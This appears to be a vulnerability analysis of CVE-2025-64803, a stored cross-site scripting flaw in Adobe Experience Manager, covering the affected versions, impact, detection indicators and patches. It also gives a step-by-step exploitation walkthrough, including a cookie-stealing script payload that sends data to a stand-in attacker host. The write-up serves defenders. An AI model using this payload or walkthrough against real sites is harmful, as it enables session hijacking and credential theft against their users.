CVE-2025-64803: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64803 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on the same date. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, ENISA EUVD).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then persistently stored and executed in the browser of any victim who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected payload) and low privileges on the part of the attacker. The vulnerability has a changed scope, meaning the injected script executes in the context of the victim's browser session rather than the attacker's (Adobe Advisory, Tenable).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who views the compromised AEM page, resulting in low confidentiality and low integrity impact with no direct availability impact. This could enable session hijacking, credential theft, phishing via content injection, or further attacks against authenticated users including administrators. The changed scope means the impact extends beyond the attacker's own session to affect other users of the AEM instance (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Obtain low-privileged access: Register or use an existing low-privileged AEM author or contributor account to access content editing features.
3. Identify vulnerable form fields: Navigate to AEM pages or components with form fields that do not properly sanitize user input (e.g., text fields in page properties, content fragments, or custom forms).
4. Inject malicious payload: Enter a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/submit the content.
5. Trigger victim execution: Wait for or socially engineer a victim (e.g., an AEM administrator or other user) to browse to the page containing the injected payload, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to enable session hijacking or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content editing endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• File System / Content Repository: Stored content in the AEM JCR repository containing <script>, javascript:, or event handler attributes (e.g., onerror=, onload=) in unexpected fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM page visitors.
• Logs: Browser-side console errors or network requests to attacker-controlled domains logged in web proxy or SIEM solutions correlating with AEM page visits.

Adobe has released patches addressing CVE-2025-64803 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround prior to patching, restrict content authoring permissions to trusted users only and implement a Content Security Policy (CSP) to limit script execution. Review and sanitize existing stored content in the AEM repository for injected scripts (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS flaw, could allow for arbitrary code execution in broader attack chains (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or social media discussion has been identified for this specific CVE.